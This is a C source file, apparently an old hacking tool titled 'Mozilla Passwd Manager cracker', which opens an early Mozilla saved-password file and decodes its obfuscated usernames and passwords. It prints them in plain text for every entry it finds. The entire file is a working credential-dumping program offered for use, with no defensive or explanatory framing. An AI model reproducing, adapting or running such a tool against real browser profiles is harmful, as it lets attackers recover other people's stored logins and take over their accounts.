/*
 * mozilla passwd manager cracker (bla-version)
 * by crazylord
 *
 * bash$ cat mozilla-bla.c | grep bla | wc -l
 *    14
 *
 * tested with Mozilla/5.0 build 2002031115
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define VERT "\033[32m"
#define NORM "\033[0m"

const char cd64[]="|$$$}rstuvwxyz{$$$$$$$>?@ABCDEFGHIJKLMNOPQRSTUVW$$$$$$XYZ[\\]^_`abcdefghijklmnopq";

void decode(char *input) {
    unsigned char in[4], out[3], v;
    int r, i, len;

    r = 0;
    while (input[r]) {
        for (len = 0, i=0; i<4 && input[r]; i++) {
            v = 0;
            while(input[r] && v == 0 ) {
                v = (unsigned char) input[r++];
                v = (unsigned char) ((v < 43 || v > 122) ? 0 : cd64[ v - 43 ]);
                if(v)
		  v = (unsigned char) ((v == '$') ? 0 : v - 61);
            }
            if (input[r]) {
	      len++;
	      if (v)
		in[i] = (unsigned char) (v - 1);
            } else
	      in[i] = 0;
        }

        if(len) {
	  out[0] = (u_char) (in[0] << 2 | in[1] >> 4);
	  out[1] = (u_char) (in[1] << 4 | in[2] >> 2);
	  out[2] = (u_char) (((in[2] << 6) & 0xc0) | in[3]);
	  for (i=0; i<len-1; i++)
	    printf("%c", out[i]);
        }
    }
    printf("\n");
}

void bla(char *blurp, FILE *fp) {
  memset(blurp, 0, 100);
  fgets(blurp, 100, fp);
}

int main(int argc, char **bla2) {
  FILE *fp;
  char temp[1024];

  printf("Mozilla Passwd Manager cracker\n\t\tby crazylord\n\n");
  if (argc != 2) {
    printf("usage: "VERT"%s "NORM"<file>\n", bla2[0]);
    return(0);
  }

  fp = fopen(bla2[1], "r");
  if (!fp) {
    printf("error: unable to open "VERT"%s"NORM"\n", bla2[1]);
    return(0);
  }
  memset(temp, 0, 100);

  bla(temp, fp);
  bla(temp, fp);
  
  while (temp[0] == '.') {
    bla(temp, fp);
    if (!temp[0])
      break;
    printf(NORM"* "VERT"%s"NORM" ", temp);
    bla(temp, fp);
    printf("\tuser: ");
    bla(temp, fp);
    if (temp[0])    
      decode(temp);
    bla(temp, fp);
    printf("\tpass: ");
    bla(temp,fp);
    if (temp[0])
      decode(temp);

    bla(temp, fp);
  }

  fclose(fp);
  return(1);
}
